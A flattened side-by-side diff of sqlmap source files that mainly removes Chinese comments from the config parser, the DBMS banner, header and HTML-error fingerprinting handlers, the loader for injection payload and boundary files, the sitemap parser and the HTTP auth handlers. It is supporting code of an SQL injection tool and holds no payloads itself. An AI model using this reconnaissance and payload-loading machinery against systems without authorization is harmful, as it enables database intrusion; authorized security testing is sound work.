if datatype == OPTION_TYPE.BOOLEAN: # 布尔类型
value = config.getboolean(section, option) if config.get(section, option) else False value = config.getboolean(section, option) if config.get(section, option) else False
elif datatype == OPTION_TYPE.INTEGER: # 整数类型 elif datatype == OPTION_TYPE.INTEGER:
value = config.getint(section, option) if config.get(section, option) else 0 value = config.getint(section, option) if config.get(section, option) else 0
elif datatype == OPTION_TYPE.FLOAT: # 浮点数类型 elif datatype == OPTION_TYPE.FLOAT:
value = config.getfloat(section, option) if config.get(section, option) else 0.0 value = config.getfloat(section, option) if config.get(section, option) else 0.0
else: # 字符串类型 else:
value = config.get(section, option) value = config.get(section, option)
except ValueError as ex: except ValueError as ex:
# 如果值转换失败,抛出语法错误异常
errMsg = "error occurred while processing the option " errMsg = "error occurred while processing the option "
errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
# 将值存储到全局配置字典中
if value: if value:
conf[option] = value conf[option] = value
else: else:
conf[option] = None conf[option] = None
else: else:
# 如果选项不存在,记录调试信息
debugMsg = "missing requested option '%s' (section " % option debugMsg = "missing requested option '%s' (section " % option
debugMsg += "'%s') into the configuration file, " % section debugMsg += "'%s') into the configuration file, " % section
debugMsg += "ignoring. Skipping to next." debugMsg += "ignoring. Skipping to next."
@ -64,55 +54,44 @@ def configFileProxy(section, option, datatype):
def configFileParser(configFile): def configFileParser(configFile):
""" """
解析配置文件的主函数 Parse configuration file and save settings into the configuration
advanced dictionary.
参数:
configFile: 配置文件路径
""" """
global config global config
# 记录开始解析的调试信息
debugMsg = "parsing configuration file" debugMsg = "parsing configuration file"
logger.debug(debugMsg) logger.debug(debugMsg)
# 检查配置文件是否存在和可访问
checkFile(configFile) checkFile(configFile)
configFP = openFile(configFile, "rb") configFP = openFile(configFile, "rb")
try: try:
# 创建配置解析器实例并读取配置文件
config = UnicodeRawConfigParser() config = UnicodeRawConfigParser()
if hasattr(config, "read_file"): # Python 3 if hasattr(config, "read_file"):
config.read_file(configFP) config.read_file(configFP)
else: # Python 2 else:
config.readfp(configFP) config.readfp(configFP)
except Exception as ex: except Exception as ex:
# 如果解析失败,抛出语法错误异常
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
# 检查是否存在必需的Target节
if not config.has_section("Target"): if not config.has_section("Target"):
errMsg = "missing a mandatory section 'Target' in the configuration file" errMsg = "missing a mandatory section 'Target' in the configuration file"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
# 检查必需选项
mandatory = False mandatory = False
# 检查Target节中是否至少存在一个必需的选项
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"): for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"):
if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
mandatory = True mandatory = True
break break
# 如果没有找到任何必需选项,抛出异常
if not mandatory: if not mandatory:
errMsg = "missing a mandatory option in the configuration file " errMsg = "missing a mandatory option in the configuration file "
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
# 遍历所有选项并解析它们
for family, optionData in optDict.items(): for family, optionData in optDict.items():
for option, datatype in optionData.items(): for option, datatype in optionData.items():
datatype = unArrayizeValue(datatype) datatype = unArrayizeValue(datatype)

@ -13,95 +13,66 @@ from lib.core.common import sanitizeStr
class FingerprintHandler(ContentHandler): class FingerprintHandler(ContentHandler):
""" """
这个类定义了解析和提取数据库管理系统(DBMS)横幅信息的方法 This class defines methods to parse and extract information from
基于XML文件中的数据进行匹配和提取 the given DBMS banner based upon the data in XML file
""" """
def __init__(self, banner, info): def __init__(self, banner, info):
"""
初始化方法
:param banner: DBMS的横幅信息字符串
:param info: 用于存储提取信息的字典
"""
ContentHandler.__init__(self) ContentHandler.__init__(self)
self._banner = sanitizeStr(banner or "") # 清理并存储横幅信息 self._banner = sanitizeStr(banner or "")
self._regexp = None # 存储当前正则表达式 self._regexp = None
self._match = None # 存储正则匹配结果 self._match = None
self._dbmsVersion = None # 存储数据库版本信息 self._dbmsVersion = None
self._techVersion = None # 存储技术版本信息 self._techVersion = None
self._info = info # 存储所有提取的信息 self._info = info
def _feedInfo(self, key, value): def _feedInfo(self, key, value):
""" value = sanitizeStr(value)
将提取的信息存入info字典
:param key: 信息类型()
:param value: 信息内容()
"""
value = sanitizeStr(value) # 清理输入值
# 如果值为空则直接返回
if value in (None, "None", ""): if value in (None, "None", ""):
return return
# 特殊处理数据库版本信息
if key == "dbmsVersion": if key == "dbmsVersion":
self._info[key] = value self._info[key] = value
else: else:
# 对于其他类型的信息,创建一个集合来存储
if key not in self._info: if key not in self._info:
self._info[key] = set() self._info[key] = set()
# 处理可能包含多个值的情况(用|分隔)
for _ in value.split("|"): for _ in value.split("|"):
self._info[key].add(_) self._info[key].add(_)
def startElement(self, name, attrs): def startElement(self, name, attrs):
"""
处理XML元素开始标签
:param name: 元素名称
:param attrs: 元素属性字典
"""
# 处理regexp标签,用于匹配横幅信息
if name == "regexp": if name == "regexp":
self._regexp = sanitizeStr(attrs.get("value")) self._regexp = sanitizeStr(attrs.get("value"))
# 优化技巧:通过快速检查避免编译大量正则表达式 _ = re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes
_ = re.match(r"\A[A-Za-z0-9]+", self._regexp)
# 如果快速检查通过或无法快速检查,则进行完整的正则匹配
if _ and self._banner and _.group(0).lower() in self._banner.lower() or not _: if _ and self._banner and _.group(0).lower() in self._banner.lower() or not _:
self._match = re.search(self._regexp, self._banner, re.I | re.M) self._match = re.search(self._regexp, self._banner, re.I | re.M)
else: else:
self._match = None self._match = None
# 处理info标签,提取各种版本和技术信息
if name == "info" and self._match: if name == "info" and self._match:
# 提取基本信息 self._feedInfo("type", attrs.get("type"))
self._feedInfo("type", attrs.get("type")) # 类型信息 self._feedInfo("distrib", attrs.get("distrib"))
self._feedInfo("distrib", attrs.get("distrib")) # 发行版信息 self._feedInfo("release", attrs.get("release"))
self._feedInfo("release", attrs.get("release")) # 发布信息 self._feedInfo("codename", attrs.get("codename"))
self._feedInfo("codename", attrs.get("codename")) # 代号信息
# 获取版本相关信息
self._dbmsVersion = sanitizeStr(attrs.get("dbms_version")) self._dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
self._techVersion = sanitizeStr(attrs.get("tech_version")) self._techVersion = sanitizeStr(attrs.get("tech_version"))
self._sp = sanitizeStr(attrs.get("sp")) self._sp = sanitizeStr(attrs.get("sp"))
# 处理数据库版本信息
if self._dbmsVersion and self._dbmsVersion.isdigit(): if self._dbmsVersion and self._dbmsVersion.isdigit():
self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion)))
# 处理技术版本信息
if self._techVersion and self._techVersion.isdigit(): if self._techVersion and self._techVersion.isdigit():
self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion))))
else: else:
self._feedInfo("technology", attrs.get("technology")) self._feedInfo("technology", attrs.get("technology"))
# 处理Service Pack信息
if self._sp.isdigit(): if self._sp.isdigit():
self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._feedInfo("sp", "Service Pack %s" % int(self._sp))
# 重置所有临时变量
self._regexp = None self._regexp = None
self._match = None self._match = None
self._dbmsVersion = None self._dbmsVersion = None

@ -5,53 +5,33 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入操作系统相关的功能模块
import os import os
# 从lib.core.common导入XML文件解析函数
from lib.core.common import parseXmlFile from lib.core.common import parseXmlFile
# 从lib.core.data导入全局变量存储对象kb和路径配置对象paths
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
# 导入指纹识别处理器类
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
def headersParser(headers): def headersParser(headers):
""" """
此函数通过解析HTTP请求头来识别: This function calls a class that parses the input HTTP headers to
1. 后端数据库管理系统 fingerprint the back-end database management system operating system
2. 操作系统类型 and the web application technology
3. Web应用技术栈
参数headers: HTTP请求头字典
""" """
# 如果全局变量中还没有初始化headerPaths
if not kb.headerPaths: if not kb.headerPaths:
# 初始化一个字典,存储不同HTTP头对应的XML规则文件路径
kb.headerPaths = { kb.headerPaths = {
# SharePoint服务器特征识别规则
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
# 服务器类型识别规则
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
# Java Servlet容器识别规则
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
# Cookie特征识别规则
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
# ASP.NET版本识别规则
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
# 服务端技术栈识别规则
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
} }
# 遍历HTTP头,将头名称转为小写并检查是否在规则文件字典中
for header in (_.lower() for _ in headers if _.lower() in kb.headerPaths): for header in (_.lower() for _ in headers if _.lower() in kb.headerPaths):
# 获取该HTTP头的值
value = headers[header] value = headers[header]
# 获取对应的XML规则文件路径
xmlfile = kb.headerPaths[header] xmlfile = kb.headerPaths[header]
# 创建一个指纹识别处理器实例
handler = FingerprintHandler(value, kb.headersFp) handler = FingerprintHandler(value, kb.headersFp)
# 解析特定规则文件
parseXmlFile(xmlfile, handler) parseXmlFile(xmlfile, handler)
# 解析通用规则文件
parseXmlFile(paths.GENERIC_XML, handler) parseXmlFile(paths.GENERIC_XML, handler)

@ -5,74 +5,64 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块 import re
import re # 用于正则表达式处理
from xml.sax.handler import ContentHandler # XML内容处理器 from xml.sax.handler import ContentHandler
from lib.core.common import urldecode # URL解码函数 from lib.core.common import urldecode
from lib.core.common import parseXmlFile # XML文件解析函数 from lib.core.common import parseXmlFile
from lib.core.data import kb # 知识库,存储全局变量 from lib.core.data import kb
from lib.core.data import paths # 路径相关配置 from lib.core.data import paths
from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD # 页面大小阈值设置 from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD
from lib.core.threads import getCurrentThreadData # 获取当前线程数据 from lib.core.threads import getCurrentThreadData
class HTMLHandler(ContentHandler): class HTMLHandler(ContentHandler):
""" """
这个类定义了解析HTML页面的方法,用于识别后端数据库管理系统的指纹 This class defines methods to parse the input HTML page to
fingerprint the back-end database management system
""" """
def __init__(self, page): def __init__(self, page):
# 初始化父类
ContentHandler.__init__(self) ContentHandler.__init__(self)
self._dbms = None # 存储数据库类型 self._dbms = None
self._page = (page or "") # 存储页面内容 self._page = (page or "")
try: try:
self._lower_page = self._page.lower() # 将页面转换为小写 self._lower_page = self._page.lower()
except SystemError: # 处理Python bug: https://bugs.python.org/issue18183 except SystemError: # https://bugs.python.org/issue18183
self._lower_page = None self._lower_page = None
self._urldecoded_page = urldecode(self._page) # URL解码后的页面内容 self._urldecoded_page = urldecode(self._page)
self.dbms = None # 最终识别出的数据库类型 self.dbms = None
def _markAsErrorPage(self): def _markAsErrorPage(self):
"""标记当前页面为错误页面"""
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.lastErrorPage = (threadData.lastRequestUID, self._page) threadData.lastErrorPage = (threadData.lastRequestUID, self._page)
def startElement(self, name, attrs): def startElement(self, name, attrs):
""" if self.dbms:
处理XML元素开始标签
name: 标签名
attrs: 标签属性
"""
if self.dbms: # 如果已经识别出数据库类型,直接返回
return return
if name == "dbms": # 如果是数据库标签 if name == "dbms":
self._dbms = attrs.get("value") self._dbms = attrs.get("value")
elif name == "error": # 如果是错误标签 elif name == "error":
regexp = attrs.get("regexp") regexp = attrs.get("regexp")
if regexp not in kb.cache.regex: if regexp not in kb.cache.regex:
# 提取正则表达式中的关键词
keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp)) keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp))
keywords = sorted(keywords, key=len) keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower() kb.cache.regex[regexp] = keywords[-1].lower()
# 检查页面是否匹配错误模式
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms # 设置识别出的数据库类型 self.dbms = self._dbms
self._markAsErrorPage() # 标记为错误页面 self._markAsErrorPage()
kb.forkNote = kb.forkNote or attrs.get("fork") # 设置fork注释 kb.forkNote = kb.forkNote or attrs.get("fork")
def htmlParser(page): def htmlParser(page):
""" """
解析HTML页面以识别后端数据库类型的主函数 This function calls a class that parses the input HTML page to
page: 要解析的HTML页面内容 fingerprint the back-end database management system
示例:
>>> from lib.core.enums import DBMS >>> from lib.core.enums import DBMS
>>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
True True
@ -80,32 +70,30 @@ def htmlParser(page):
>>> threadData.lastErrorPage = None >>> threadData.lastErrorPage = None
""" """
page = page[:HEURISTIC_PAGE_SIZE_THRESHOLD] # 截取页面内容到阈值大小 page = page[:HEURISTIC_PAGE_SIZE_THRESHOLD]
xmlfile = paths.ERRORS_XML # 错误模式的XML配置文件 xmlfile = paths.ERRORS_XML
handler = HTMLHandler(page) # 创建处理器实例 handler = HTMLHandler(page)
key = hash(page) # 计算页面内容的哈希值 key = hash(page)
# 检查通用SQL警告/错误信息 # generic SQL warning/error messages
if re.search(r"SQL (warning|error|syntax)", page, re.I): if re.search(r"SQL (warning|error|syntax)", page, re.I):
handler._markAsErrorPage() handler._markAsErrorPage()
# 如果页面已经解析过,直接返回缓存的结果
if key in kb.cache.parsedDbms: if key in kb.cache.parsedDbms:
retVal = kb.cache.parsedDbms[key] retVal = kb.cache.parsedDbms[key]
if retVal: if retVal:
handler._markAsErrorPage() handler._markAsErrorPage()
return retVal return retVal
parseXmlFile(xmlfile, handler) # 解析XML配置文件 parseXmlFile(xmlfile, handler)
# 更新识别状态
if handler.dbms and handler.dbms not in kb.htmlFp: if handler.dbms and handler.dbms not in kb.htmlFp:
kb.lastParserStatus = handler.dbms kb.lastParserStatus = handler.dbms
kb.htmlFp.append(handler.dbms) kb.htmlFp.append(handler.dbms)
else: else:
kb.lastParserStatus = None kb.lastParserStatus = None
kb.cache.parsedDbms[key] = handler.dbms # 缓存解析结果 kb.cache.parsedDbms[key] = handler.dbms
return handler.dbms # 返回识别出的数据库类型 return handler.dbms

@ -5,13 +5,11 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库
import os import os
import re import re
from xml.etree import ElementTree as et # 导入XML解析库 from xml.etree import ElementTree as et
# 导入自定义模块和函数
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.data import conf from lib.core.data import conf
@ -21,48 +19,31 @@ from lib.core.exception import SqlmapInstallationException
from lib.core.settings import PAYLOAD_XML_FILES from lib.core.settings import PAYLOAD_XML_FILES
def cleanupVals(text, tag): def cleanupVals(text, tag):
"""
清理和转换XML中的值
:param text: 需要处理的文本
:param tag: XML标签名
:return: 处理后的值
"""
# 处理clause标签中的范围表示法(如"1-3"转换为"1,2,3")
if tag == "clause" and '-' in text: if tag == "clause" and '-' in text:
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text) text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
# 对clause和where标签的内容按逗号分割
if tag in ("clause", "where"): if tag in ("clause", "where"):
text = text.split(',') text = text.split(',')
# 如果文本是纯数字,转换为整数
if hasattr(text, "isdigit") and text.isdigit(): if hasattr(text, "isdigit") and text.isdigit():
text = int(text) text = int(text)
# 处理列表类型的值
elif isinstance(text, list): elif isinstance(text, list):
count = 0 count = 0
# 遍历列表,将数字字符串转换为整数
for _ in text: for _ in text:
text[count] = int(_) if _.isdigit() else _ text[count] = int(_) if _.isdigit() else _
count += 1 count += 1
# 如果列表只有一个元素且不是特定标签,则返回该元素
if len(text) == 1 and tag not in ("clause", "where"): if len(text) == 1 and tag not in ("clause", "where"):
text = text[0] text = text[0]
return text return text
def parseXmlNode(node): def parseXmlNode(node):
"""
解析XML节点
:param node: XML节点对象
"""
# 解析boundary(边界)节点
for element in node.findall("boundary"): for element in node.findall("boundary"):
boundary = AttribDict() # 创建一个属性字典 boundary = AttribDict()
# 遍历boundary的子节点
for child in element: for child in element:
if child.text: if child.text:
values = cleanupVals(child.text, child.tag) values = cleanupVals(child.text, child.tag)
@ -72,24 +53,20 @@ def parseXmlNode(node):
conf.boundaries.append(boundary) conf.boundaries.append(boundary)
# 解析test(测试)节点
for element in node.findall("test"): for element in node.findall("test"):
test = AttribDict() # 创建一个属性字典 test = AttribDict()
# 遍历test的子节点
for child in element: for child in element:
if child.text and child.text.strip(): if child.text and child.text.strip():
values = cleanupVals(child.text, child.tag) values = cleanupVals(child.text, child.tag)
test[child.tag] = values test[child.tag] = values
else: else:
# 处理没有子元素的节点
if len(child.findall("*")) == 0: if len(child.findall("*")) == 0:
test[child.tag] = None test[child.tag] = None
continue continue
else: else:
test[child.tag] = AttribDict() test[child.tag] = AttribDict()
# 处理有子元素的节点
for gchild in child: for gchild in child:
if gchild.tag in test[child.tag]: if gchild.tag in test[child.tag]:
prevtext = test[child.tag][gchild.tag] prevtext = test[child.tag][gchild.tag]
@ -101,18 +78,17 @@ def parseXmlNode(node):
def loadBoundaries(): def loadBoundaries():
""" """
从XML文件加载边界定义 Loads boundaries from XML
>>> conf.boundaries = [] >>> conf.boundaries = []
>>> loadBoundaries() >>> loadBoundaries()
>>> len(conf.boundaries) > 0 >>> len(conf.boundaries) > 0
True True
""" """
try: try:
# 尝试解析boundaries.xml文件
doc = et.parse(paths.BOUNDARIES_XML) doc = et.parse(paths.BOUNDARIES_XML)
except Exception as ex: except Exception as ex:
# 如果解析失败,抛出安装异常
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
@ -123,22 +99,20 @@ def loadBoundaries():
def loadPayloads(): def loadPayloads():
""" """
从XML文件加载有效载荷/测试用例 Loads payloads/tests from XML
>>> conf.tests = [] >>> conf.tests = []
>>> loadPayloads() >>> loadPayloads()
>>> len(conf.tests) > 0 >>> len(conf.tests) > 0
True True
""" """
# 遍历所有payload XML文件
for payloadFile in PAYLOAD_XML_FILES: for payloadFile in PAYLOAD_XML_FILES:
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
try: try:
# 尝试解析payload XML文件
doc = et.parse(payloadFilePath) doc = et.parse(payloadFilePath)
except Exception as ex: except Exception as ex:
# 如果解析失败,抛出安装异常
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"

@ -5,79 +5,52 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入正则表达式模块,用于匹配和提取文本
import re import re
# 导入所需的功能模块 from lib.core.common import readInput
from lib.core.common import readInput # 用于读取用户输入的函数 from lib.core.data import kb
from lib.core.data import kb # 知识库(knowledge base),存储全局变量和配置信息 from lib.core.data import logger
from lib.core.data import logger # 日志记录器,用于记录程序运行信息 from lib.core.datatype import OrderedSet
from lib.core.datatype import OrderedSet # 有序集合数据类型,可以保持元素插入顺序 from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSyntaxException # SQL注入工具的语法异常类 from lib.request.connect import Connect as Request
from lib.request.connect import Connect as Request # HTTP请求处理类,用于发送网络请求 from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import http_client as _http_client # HTTP客户端,用于处理HTTP连接
# 定义全局中止标志,用于控制程序终止
abortedFlag = None abortedFlag = None
def parseSitemap(url, retVal=None): def parseSitemap(url, retVal=None):
""" global abortedFlag
解析网站地图(sitemap)的函数
参数说明:
url: 网站地图的URL地址,即要解析的sitemap文件地址
retVal: 存储解析结果的集合,默认为None如果为None会创建新的集合
返回值:
OrderedSet类型,包含从sitemap中提取的所有URL地址
"""
global abortedFlag # 声明使用全局中止标志变量
# 如果retVal不为空,说明是递归调用,记录开始解析新sitemap的日志
if retVal is not None: if retVal is not None:
logger.debug("parsing sitemap '%s'" % url) logger.debug("parsing sitemap '%s'" % url)
try: try:
# 如果retVal为空,说明是首次调用,初始化返回值集合和中止标志
if retVal is None: if retVal is None:
abortedFlag = False # 重置中止标志为False abortedFlag = False
retVal = OrderedSet() # 创建一个新的有序集合用于存储URL retVal = OrderedSet()
try: try:
# 发送HTTP请求获取网站地图内容
# raise404=True表示如果页面不存在(404错误)会抛出异常
# 如果已经设置中止标志,则返回空字符串
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
except _http_client.InvalidURL: except _http_client.InvalidURL:
# 如果提供的URL格式无效,抛出语法异常
errMsg = "invalid URL given for sitemap ('%s')" % url errMsg = "invalid URL given for sitemap ('%s')" % url
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
# 使用正则表达式查找sitemap中所有<loc>标签内的URL
# <loc>标签是sitemap格式中用于存放URL的标准标签
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""): for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
if abortedFlag: # 如果收到中止信号,立即退出循环 if abortedFlag:
break break
url = match.group(1).strip() # 提取URL并去除首尾空白字符 url = match.group(1).strip()
# 判断是否为子sitemap文件
# sitemap文件通常以.xml结尾,且URL中包含"sitemap"字样
if url.endswith(".xml") and "sitemap" in url.lower(): if url.endswith(".xml") and "sitemap" in url.lower():
# 首次遇到子sitemap时询问用户是否要递归处理
if kb.followSitemapRecursion is None: if kb.followSitemapRecursion is None:
message = "sitemap recursion detected. Do you want to follow? [y/N] " message = "sitemap recursion detected. Do you want to follow? [y/N] "
kb.followSitemapRecursion = readInput(message, default='N', boolean=True) kb.followSitemapRecursion = readInput(message, default='N', boolean=True)
# 如果用户同意递归处理,则解析子sitemap
if kb.followSitemapRecursion: if kb.followSitemapRecursion:
parseSitemap(url, retVal) # 递归调用解析函数 parseSitemap(url, retVal)
else: else:
retVal.add(url) # 将找到的URL添加到结果集合中 retVal.add(url)
except KeyboardInterrupt: except KeyboardInterrupt:
# 捕获键盘中断信号(用户按Ctrl+C) abortedFlag = True
abortedFlag = True # 设置中止标志
warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg = "user aborted during sitemap parsing. sqlmap "
warnMsg += "will use partial list" warnMsg += "will use partial list"
logger.warning(warnMsg) # 记录警告信息,提示将使用部分解析结果 logger.warning(warnMsg)
return retVal # 返回收集到的所有URL集合 return retVal

@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
pass

@ -5,63 +5,34 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入urllib库并重命名为_urllib
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
""" """
参考: http://selenic.com/hg/rev/6c51a5056020 Reference: http://selenic.com/hg/rev/6c51a5056020
修复Bug: http://bugs.python.org/issue8797 Fix for a: http://bugs.python.org/issue8797
这是一个处理HTTP基础认证的智能处理器类,继承自HTTPBasicAuthHandler
主要用于处理认证重试的逻辑,避免无限循环重试的问题
""" """
def __init__(self, *args, **kwargs): def __init__(self, *args, **kwargs):
# 调用父类的初始化方法
_urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
# 创建一个集合用于存储已重试过的请求
self.retried_req = set() self.retried_req = set()
# 重试计数器初始化为0
self.retried_count = 0 self.retried_count = 0
def reset_retry_count(self): def reset_retry_count(self):
""" # Python 2.6.5 will call this on 401 or 407 errors and thus loop
重置重试计数的方法 # forever. We disable reset_retry_count completely and reset in
Python 2.6.5在遇到401或407错误时会调用此方法,可能导致无限循环 # http_error_auth_reqed instead.
因此这里禁用了重置功能,改为在http_error_auth_reqed中进行重置
"""
pass pass
def http_error_auth_reqed(self, auth_header, host, req, headers): def http_error_auth_reqed(self, auth_header, host, req, headers):
""" # Reset the retry counter once for each request.
处理需要认证的HTTP错误
参数说明:
auth_header: 认证头信息
host: 目标主机
req: 请求对象
headers: 请求头
处理逻辑:
1. 对每个新请求重置重试计数器
2. 限制最大重试次数为5次
3. 超过重试次数则抛出HTTP 401错误
"""
# 如果是新的请求(通过hash判断)
if hash(req) not in self.retried_req: if hash(req) not in self.retried_req:
# 将请求添加到已重试集合中
self.retried_req.add(hash(req)) self.retried_req.add(hash(req))
# 重置重试计数
self.retried_count = 0 self.retried_count = 0
else: else:
# 如果重试次数超过5次
if self.retried_count > 5: if self.retried_count > 5:
# 抛出HTTP 401认证失败错误
raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
else: else:
# 增加重试计数
self.retried_count += 1 self.retried_count += 1
# 调用父类的错误处理方法
return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)

@ -5,63 +5,37 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入必要的模块 from lib.core.data import conf
from lib.core.data import conf # 导入配置信息 from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTP_HEADER # 导入HTTP头部常量定义 from thirdparty.six.moves import urllib as _urllib
from thirdparty.six.moves import urllib as _urllib # 导入urllib模块并重命名为_urllib,用于处理URL和HTTP请求
class ChunkedHandler(_urllib.request.HTTPHandler): class ChunkedHandler(_urllib.request.HTTPHandler):
""" """
用于确保在使用分块传输编码(Chunked Transfer-Encoding)时HTTPHandler能正常工作的处理器类 Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding
继承自urllib的HTTPHandler类,主要用于处理HTTP请求的发送
分块传输编码允许HTTP消息在不预先知道消息总长度的情况下进行传输
""" """
def _http_request(self, request): def _http_request(self, request):
"""
处理HTTP请求的核心方法
参数:
request: HTTP请求对象,包含请求的所有信息(如URL头部数据等)
返回:
处理后的request对象
"""
# 获取请求的主机名,优先使用get_host()方法(新版本),如果不存在则使用host属性(旧版本)
host = request.get_host() if hasattr(request, "get_host") else request.host host = request.get_host() if hasattr(request, "get_host") else request.host
if not host: if not host:
# 如果没有指定主机名则抛出异常,因为HTTP请求必须知道发送到哪个主机
raise _urllib.error.URLError("no host given") raise _urllib.error.URLError("no host given")
